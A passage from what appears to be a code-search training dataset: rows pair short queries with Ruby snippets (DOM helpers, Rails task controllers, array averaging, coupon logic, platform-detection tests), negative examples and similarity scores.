`!!#@native.shadowRoot`
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def has_root?\n @root != nil\n end",
"def shadow (open = true)\n if root = `#@native.shadowRoot`\n DOM(root)\n else\n DOM(`#@native.attachShadow({mode: #{open ? \"open\" : \"closed\"}})`)\n end\n end",
"def is_here?(element)\n element.exists?\n rescue\n false\n end",
"... | [
"0.616038",
"0.56490487",
"0.5640428",
"0.5631138",
"0.5615445",
"0.5615445",
"0.5615445",
"0.5490496",
"0.548327",
"0.5480376",
"0.5468837",
"0.54658496",
"0.5429769",
"0.54112864",
"0.5410447",
"0.5385387",
"0.5384034",
"0.53797966",
"0.53736204",
"0.53456616",
"0.5317718",... | 0.6458255 | 0 |
Remove an attribute from the element. | def remove_attribute(name)
`#@native.removeAttribute(name)`
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def remove_attribute(name); end",
"def remove_attribute(name); end",
"def remove_attribute(name); end",
"def remove_attribute(name); end",
"def remove_attribute(name)\n attr = attributes[name].remove if key? name\n clear_xpath_context if Nokogiri.jruby?\n attr\n end",
"def remov... | [
"0.82813287",
"0.82813287",
"0.82813287",
"0.82813287",
"0.8274962",
"0.8235329",
"0.795735",
"0.79413354",
"0.7919885",
"0.7894375",
"0.78021044",
"0.77619976",
"0.77619976",
"0.7617897",
"0.7594599",
"0.748772",
"0.7456856",
"0.7442915",
"0.7376748",
"0.72939926",
"0.726904... | 0.7567834 | 15 |
Remove class names from the element. | def remove_class(*names)
classes = class_names - names
if classes.empty?
`#@native.removeAttribute('class')`
else
`#@native.className = #{classes.join ' '}`
end
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def remove_class name = nil\n each do |el|\n next unless el.respond_to? :get_attribute\n if name\n classes = el.get_attribute('class').to_s.split(\" \")\n el.set_attribute('class', (classes - [name]).uniq.join(\" \"))\n else\n el.remove_attribute(\"class\")\n ... | [
"0.8112213",
"0.78694737",
"0.78214693",
"0.7779417",
"0.7266019",
"0.7122461",
"0.69714475",
"0.6862715",
"0.67853147",
"0.652523",
"0.63874453",
"0.6366068",
"0.6306236",
"0.6306236",
"0.63012266",
"0.6284347",
"0.62546766",
"0.6121084",
"0.6096332",
"0.60060865",
"0.599165... | 0.7880511 | 1 |
Toggle class names of the element. | def toggle_class(*names)
to_remove, to_add = names.partition { |name| class_names.include? name }
add_class(*to_add)
remove_class(*to_remove)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def toggle_class_name(class_name, condition)\n condition ? class_name : nil\n end",
"def toggle_class(sym)\n self.has_class?(sym) ? self.remove_class(sym) : self.add_class(sym);\n return self\n end",
"def toggle_class(cls, value = nil)\n if value || (value.nil? && !has_class(cls))\n ... | [
"0.64935046",
"0.62766594",
"0.6120131",
"0.60882014",
"0.59804845",
"0.5957667",
"0.5942684",
"0.5894126",
"0.5872703",
"0.5820045",
"0.57327944",
"0.5615025",
"0.5595751",
"0.5569661",
"0.5461905",
"0.5452307",
"0.544956",
"0.5440859",
"0.5291129",
"0.52508605",
"0.51874995... | 0.7639722 | 0 |
Query for children matching the given XPath. | def xpath(path)
raise NotImplementedError, 'query by XPath unsupported'
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def children(*args)\n self.class.send(:with_scope, :find=>{:conditions=>['parent_node_id=?', self.child_node_id]}) do\n self.class.find(:all, *args)\n end\n end",
"def find_in_children(*args)\n child = nil\n Capybara.current_session.within(element) do\n child = self.class.new... | [
"0.6463356",
"0.6381734",
"0.6232736",
"0.61763436",
"0.6145258",
"0.60255533",
"0.60200834",
"0.5971195",
"0.58905935",
"0.5887135",
"0.5884796",
"0.5871416",
"0.5849609",
"0.58471966",
"0.58471966",
"0.58325046",
"0.57855284",
"0.57380956",
"0.57216865",
"0.5689413",
"0.568... | 0.5260718 | 66 |
Precondition: theArray is an array of numbers Output: the average of the values in theArray Begun by: Dr. Adams, for CS 214 at Calvin College. Completed by:: Zach Wibbenmeyer sum() sums the values in an array Receive: anArray, an array of numbers Return: the sum of the values in anArray. | def sum(theArray)
total = 0
theArray.each do |i|
total = total + i
end
return total
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def average (anArray)\n\n\t#if the array is empty...\n\tif anArray.empty?\n\t\treturn 0.0\n\n\t# otherwise, return the sum divided by the number of values\n\telse\n\t\treturn sum(anArray) / anArray.size\n\tend\nend",
"def average(anArray)\n\tif anArray.size > 0 then\n\t\treturn sum(anArray) / anArray.size\n\tels... | [
"0.81206757",
"0.8076744",
"0.7745763",
"0.7658247",
"0.7643194",
"0.7627332",
"0.7618787",
"0.7606898",
"0.7604825",
"0.758218",
"0.75706494",
"0.7551093",
"0.75191534",
"0.7518181",
"0.7517231",
"0.75135076",
"0.7512822",
"0.75061834",
"0.7481693",
"0.74805534",
"0.7479483"... | 0.725237 | 50 |
average() computes the average of the values in an array Receive: anArray, an array of doubles Return: the average of the values in anArray | def average(anArray)
if anArray.size > 0 then
return sum(anArray) / anArray.size
else
return 0.0
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def average (anArray)\n\n\t#if the array is empty...\n\tif anArray.empty?\n\t\treturn 0.0\n\n\t# otherwise, return the sum divided by the number of values\n\telse\n\t\treturn sum(anArray) / anArray.size\n\tend\nend",
"def find_average \n result = array.sum(0.0)/array.size\n return result\n end"... | [
"0.83685625",
"0.8082541",
"0.800214",
"0.7936021",
"0.7881747",
"0.78723395",
"0.7854683",
"0.78468883",
"0.7839858",
"0.78313977",
"0.78105164",
"0.78101575",
"0.7806742",
"0.7789196",
"0.7695017",
"0.76945585",
"0.76807475",
"0.7677416",
"0.7657289",
"0.7643213",
"0.763708... | 0.8363103 | 1 |
Find a way to accumulate the :worldwide_grosses and return that Integer using director_data as input | def gross_for_director(director_data)
total = 0
index = 0
while index < director_data[:movies].length
director_gross = director_data[:movies][index][:worldwide_gross]
total += director_gross
index += 1
end
#binding.pry
return total
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def gross_for_director(director_data)\n movie_index = 0\n worldwide_grosses = 0\n while movie_index < director_data[:movies].length\n worldwide_grosses += director_data[:movies][movie_index][:worldwide_gross]\n movie_index += 1\n end\nworldwide_grosses\nend",
"def gross_for_director(director_data)\n s... | [
"0.8030103",
"0.79791737",
"0.797826",
"0.79371166",
"0.7925556",
"0.7892396",
"0.78396547",
"0.7755108",
"0.7750925",
"0.77157944",
"0.76695293",
"0.76694804",
"0.7653343",
"0.76075655",
"0.7601315",
"0.7600134",
"0.7587644",
"0.75807303",
"0.7577543",
"0.7556241",
"0.752627... | 0.70342875 | 44 |
leverage the 'uname' binary when running on JRuby | def test_platform_uses_uname_for_jruby
stubbed = 'MCP'
NewRelic::Helper.stubs('run_command').with('uname -s').returns(stubbed)
NewRelic::Agent::Samplers::MemorySampler.stub_const(:RUBY_PLATFORM, 'java') do
platform = NewRelic::Agent::Samplers::MemorySampler.platform
assert_equal platform, stubbed.downcase
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_uname\n `uname -a`\n end",
"def get_os\n line = Cocaine::CommandLine.new('uname')\n output = line.run\n\n output.chomp.downcase.intern\n end",
"def uname\n shell(%w[uname])\n end",
"def uname\n `uname -a`\n end",
"def sys\n return `uname -n`.chomp\n ... | [
"0.7609465",
"0.7355986",
"0.72177404",
"0.71111935",
"0.6970526",
"0.68901706",
"0.6699467",
"0.65930516",
"0.6553103",
"0.64144325",
"0.63927317",
"0.6348754",
"0.6342245",
"0.6223065",
"0.6204692",
"0.61846125",
"0.6152545",
"0.6144438",
"0.61337584",
"0.61230135",
"0.6045... | 0.76032734 | 1 |
if using 'uname' fails, use 'unknown' for the platform | def test_platform_uses_unknown_if_uname_fails
NewRelic::Helper.stubs('run_command').with('uname -s').raises(NewRelic::CommandRunFailedError)
NewRelic::Agent::Samplers::MemorySampler.stub_const(:RUBY_PLATFORM, 'java') do
platform = NewRelic::Agent::Samplers::MemorySampler.platform
assert_equal 'unknown', platform
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sys_uname_osname\n uname = `uname`\n if uname.include? 'Darwin' # macOS\n :macos\n elsif uname.include? 'Linux'\n :linux\n elsif uname.include? 'MINGW'\n :windows\n elsif uname.include? 'OpenBSD'\n :openbsd\n end\n end",
"def ... | [
"0.8191654",
"0.7932898",
"0.7894331",
"0.78400695",
"0.77303797",
"0.7680025",
"0.76310885",
"0.76181036",
"0.7616444",
"0.7605399",
"0.7569694",
"0.7488257",
"0.7451745",
"0.7429413",
"0.7422173",
"0.74108154",
"0.736469",
"0.73468703",
"0.7315124",
"0.7281778",
"0.7278482"... | 0.74551165 | 12 |
use RUBY_PLATFORM for the platform for CRuby | def test_platform_uses_ruby_platform
stubbed = 'ENCOM OS-12'
NewRelic::Agent::Samplers::MemorySampler.stub_const(:RUBY_PLATFORM, stubbed) do
platform = NewRelic::Agent::Samplers::MemorySampler.platform
assert_equal platform, stubbed.downcase
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def platform; RUBY_PLATFORM; end",
"def ruby_platform\n RUBY_PLATFORM\n end",
"def ruby_platform\n case RUBY_PLATFORM\n when /win32|mswin|mingw/\n # Works on Windows XP, 2003, 7, 8 running Ruby 1.8.6 & 1.8.7, 1.9.2, 1.9.3 & 2.0.0 installed from RubyInstaller\n # Can't match for just 'win'... | [
"0.8526962",
"0.83274066",
"0.8125373",
"0.8094736",
"0.80410606",
"0.77070856",
"0.76378477",
"0.7583746",
"0.7481099",
"0.7461486",
"0.72788095",
"0.7206753",
"0.71473956",
"0.7099047",
"0.7097718",
"0.70519423",
"0.7027497",
"0.7021719",
"0.7012802",
"0.7012802",
"0.701280... | 0.69372296 | 26 |
Make the resource resources and let waiting tasks know that there is something resources. | def release(resource)
# A resource that is not good should also not be reusable.
# unless resource.closed?
reuse(resource)
# else
# retire(resource)
# end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def wait_all\n @resources.each do |name,object|\n object.wait if object.respond_to? :wait\n end\n end",
"def _wait_tasks\n @wait_tasks\n end",
"def resource(*resources, &block); end",
"def release(resource)\n\t\t\t\t@available << resource\n\t\t\t\t\t\n\t\t\t\tif task = @waiting.pop\n\... | [
"0.65958595",
"0.5921584",
"0.592075",
"0.5851414",
"0.58513486",
"0.5837832",
"0.57435364",
"0.57070607",
"0.5684669",
"0.5634916",
"0.5629984",
"0.55725986",
"0.5544343",
"0.5503972",
"0.5462024",
"0.5456783",
"0.54428303",
"0.54381937",
"0.5368898",
"0.5332651",
"0.5330601... | 0.0 | -1 |
Returns the full title on a perpage basis. | def full_title(page_title)
title = base_title
Array(page_title).each do |var|
title << (' | ' + var) unless var.empty?
end
title
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def title\n @title_pages.each { |tp| tp.title and return tp.title }\n nil\n end",
"def full_title(page_title)\n base_title = \"Proman 2013\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title)\n base_tit... | [
"0.7967594",
"0.7838348",
"0.7823353",
"0.778302",
"0.77702177",
"0.7723609",
"0.7687638",
"0.76872647",
"0.76843244",
"0.7669666",
"0.7663713",
"0.765015",
"0.76464146",
"0.7639269",
"0.7637278",
"0.7626702",
"0.76244146",
"0.76108783",
"0.7603082",
"0.7591043",
"0.7588074",... | 0.7731701 | 5 |
Hand over all categories | def index
@categories = Category.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def all_categories\n end",
"def set_category\n end",
"def all_categories\n @mutex.synchronize do\n @categories.keys\n end\n end",
"def all_categories\n\t\t@categories = Category.all\n\tend",
"def set_all_categories\n @all_categories = Category.all.order_by_name\n end",
"de... | [
"0.8120564",
"0.7316546",
"0.72801995",
"0.72405815",
"0.72201556",
"0.7200963",
"0.7182254",
"0.71332645",
"0.70563614",
"0.7030437",
"0.7017833",
"0.698738",
"0.6985447",
"0.6984548",
"0.69600403",
"0.6952265",
"0.6946403",
"0.69389814",
"0.69389814",
"0.6920095",
"0.690972... | 0.0 | -1 |
GET /tasks GET /tasks.xml | def index
get_tasks
get_priorities
get_users
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @tasks }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tasks\n uri = URI(BASE_URL + TASKS_ENDPOINT)\n\n make_request(uri)\n end",
"def index\n # GET /tasks\n @tasks = Task.all\n end",
"def index\n @tasks = Task.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tasks }\n end\n end",
"... | [
"0.73914087",
"0.722769",
"0.721021",
"0.7210127",
"0.7199328",
"0.7184054",
"0.7164893",
"0.70030516",
"0.69456613",
"0.69426525",
"0.68642324",
"0.68546295",
"0.6834081",
"0.6802128",
"0.68007046",
"0.68007046",
"0.68007046",
"0.68007046",
"0.68007046",
"0.67978483",
"0.679... | 0.72620857 | 1 |
GET /tasks/1 GET /tasks/1.xml | def show
@task = Task.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @task }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @task }\n end\n end",
"def index\n get_tasks\n get_priorities\n get_users\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tasks }\n ... | [
"0.73972535",
"0.7147814",
"0.70660186",
"0.70339644",
"0.7030023",
"0.70199555",
"0.70164394",
"0.69967496",
"0.6918363",
"0.69177103",
"0.69158936",
"0.6878922",
"0.68287396",
"0.68167984",
"0.67872363",
"0.67345953",
"0.67294765",
"0.6692681",
"0.667341",
"0.6666379",
"0.6... | 0.69620705 | 8 |
GET /tasks/new GET /tasks/new.xml | def new
@task = Task.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @task }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n format.xml { render xml: @tasks }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n ... | [
"0.79913056",
"0.783725",
"0.7605314",
"0.7521009",
"0.7475729",
"0.74077904",
"0.7396494",
"0.72603416",
"0.7239029",
"0.7223643",
"0.7221421",
"0.7204809",
"0.71812963",
"0.7151181",
"0.7151181",
"0.7151181",
"0.7151181",
"0.7151181",
"0.7151181",
"0.7151181",
"0.7151181",
... | 0.7735345 | 5 |
POST /tasks POST /tasks.xml | def create
@task = Task.new(params[:task])
respond_to do |format|
if @task.save
@feature.tasks << @task
@iteration.tasks << @task
@feature.save
@iteration.save
get_tasks
format.js
format.html { redirect_to(@task, :notice => 'Task was successfully created.') }
format.xml { render :xml => @task, :status => :created, :location => @task }
else
format.js
format.html { render :action => "new" }
format.xml { render :xml => @task.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tasks\n uri = URI(BASE_URL + TASKS_ENDPOINT)\n\n make_request(uri)\n end",
"def create_task(options = {})\n request(:post, \"tasks\", options)\n end",
"def post(action, task=nil, params={})\n @action = action\n @task = task\n request(:post, params)\n end",
"def add_ta... | [
"0.6856477",
"0.6845752",
"0.65675074",
"0.64086604",
"0.6378109",
"0.6377058",
"0.6344394",
"0.6312993",
"0.63005185",
"0.62720716",
"0.6271131",
"0.6255944",
"0.62371874",
"0.62306863",
"0.62227607",
"0.6221714",
"0.62177366",
"0.61810756",
"0.6178637",
"0.61708736",
"0.616... | 0.59479004 | 88 |
PUT /tasks/1 PUT /tasks/1.xml | def update
@task = Task.find(params[:id])
respond_to do |format|
if @task.update_attributes(params[:task])
get_tasks
format.js
format.html { redirect_to(@task, :notice => 'Task was successfully updated.') }
format.xml { head :ok }
else
format.js
format.html { render :action => "edit" }
format.xml { render :xml => @task.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n format.html { redirect_to(@task) }\n format.xml { head :ok }\n else\n format.html { render :action =>... | [
"0.66549516",
"0.6609693",
"0.66094434",
"0.65856504",
"0.65856504",
"0.6576373",
"0.65700865",
"0.65688735",
"0.6546265",
"0.6423045",
"0.640763",
"0.63998926",
"0.63906837",
"0.6383157",
"0.6354111",
"0.6315523",
"0.6300615",
"0.6288991",
"0.6288991",
"0.6288991",
"0.627835... | 0.60454524 | 58 |
DELETE /tasks/1 DELETE /tasks/1.xml | def destroy
@task = Task.find(params[:id])
@removed_task = @task
@task.destroy
get_tasks
respond_to do |format|
format.js
format.html { redirect_to(tasks_url) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete_task id\n request :delete, \"tasks/#{id}\"\n nil\n end",
"def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n Task.find_by_name(unescape_url(params[:id]))\n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n en... | [
"0.74423724",
"0.73848075",
"0.7265648",
"0.7255295",
"0.72143453",
"0.72143453",
"0.72143453",
"0.72143453",
"0.7166056",
"0.71640587",
"0.70973396",
"0.70091105",
"0.69856167",
"0.6944103",
"0.6920537",
"0.69067377",
"0.6889744",
"0.68585426",
"0.68279594",
"0.6796669",
"0.... | 0.0 | -1 |
try to apply the coupon to this specific order | def apply
return return_with(:error, I18n.t('coupon.cannot_apply_reseller')) if reseller_order?
unless reached_minimum_order?
return return_with(:error, I18n.t('coupon.no_minimum_price', minimum: coupon.minimum_order.in_euro.to_yuan(exchange_rate: order.exchange_rate).display))
end
return return_with(:error, I18n.t('coupon.cannot_apply_user')) unless valid_user?
return return_with(:error, I18n.t('coupon.cannot_apply_shop')) unless valid_shop?
return return_with(:error, I18n.t('coupon.cannot_apply')) unless valid_order?
return return_with(:error, I18n.t('coupon.not_valid_anymore')) unless valid_coupon?
return return_with(:error, I18n.t('coupon.error_occurred_applying')) unless update_order! && update_referrer! && update_coupon!
return_with(:success)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def apply_coupon\n if self.behavior == 'coupon'\n item = self.item\n \n # coitem is the OrderItem to which the coupon acts upon\n coitem = self.order.order_items.visible.find_by_sku(item.coupon_applies)\n log_action \"apply_coupon: coitem was not found\" and return if coitem.nil?\n\n ... | [
"0.8349451",
"0.8225346",
"0.78897345",
"0.78856426",
"0.76444703",
"0.7194521",
"0.71215284",
"0.70297694",
"0.70041436",
"0.6999876",
"0.6914952",
"0.6914157",
"0.68853015",
"0.68831486",
"0.68325645",
"0.67480206",
"0.6694705",
"0.66802293",
"0.66579777",
"0.6630067",
"0.6... | 0.7049835 | 7 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.